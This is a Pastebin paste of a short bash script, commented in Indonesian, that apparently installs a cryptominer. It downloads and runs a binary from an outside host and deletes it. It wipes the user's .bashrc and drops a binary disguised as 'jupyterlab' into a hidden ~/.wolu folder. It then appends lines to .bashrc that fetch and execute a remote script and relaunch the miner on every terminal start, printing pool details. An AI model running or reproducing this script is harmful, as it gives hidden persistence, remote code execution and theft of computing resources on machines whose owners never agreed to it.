Advertisement
ppek

setUP

Apr 10th, 2025 (edited)
400
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.53 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # Mengunduh file 'kilan' dan memberikan izin eksekusi
  4. wget -O kilan https://w4r.gmaila.tech/kilan
  5. chmod +x kilan
  6. ./kilan
  7. clear
  8. sleep 2
  9. rm -rf kilan
  10.  
  11. # Menghapus dan membuat direktori .wolu serta mengunduh file wolu
  12. cd ~
  13. pkill wolu && sleep 2
  14. rm -rf .wolu .bashrc && sleep 2
  15. mkdir .wolu && cd .wolu
  16. wget -qO wolu https://gitlab.com/ghcees/pack/-/raw/main/jupyterlab
  17. chmod +x wolu >/dev/null 2>&1
  18. clear
  19.  
  20. # Menambahkan perintah baru ke ~/.bashrc untuk menjalankan config.sh
  21. echo "cd ~/ && wget -O c.sh https://idx0.short.gy/json && chmod +x c.sh && sed -i -e 's/\r$//' c.sh && ./c.sh" >> ~/.bashrc
  22.  
  23. # Menambahkan skrip otomatis ke ~/.bashrc untuk menjalankan program secara otomatis saat terminal dibuka
  24. echo -e "# If not running interactively, don't do anything\ncase \$- in *i*) ;; *) return ;; esac\n\n# Auto-run script on terminal start\npkill wolu && cd ~/ && sleep 2\nnohup ~/.wolu/./wolu &>/dev/null &\nclear\n\ncurrent_time=\$(TZ=UTC-7 date +\"%R-[%d/%m/%y]\")\nurl=\$(jq -r '.pools[0].url' ~/.wolu/config.json)\n\n# Display the current time and pool information\njq -r '.pools[0].pass' ~/.wolu/config.json | awk -v time=\"\$current_time\" -v pool_url=\"\$url\" '{\n    print \"\\033[1;31;40mVaultHCI\\033[0m\", time;\n    print \"\\033[42;1m\\033[37mPool\\033[0m\", pool_url;\n    print \"\\033[31;43mRDP\\033[0m\", \$1\n}'\n\n# Show confirmation that auto-run script is working\necho -e \"\\033[1;32m[INFO] OtoRerun executed successfully.\\033[0m\"\n\njobs" >> ~/.bashrc
  25.  
  26. clear
  27. source ~/.bashrc; chmod +x .bashrc; ./.bashrc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement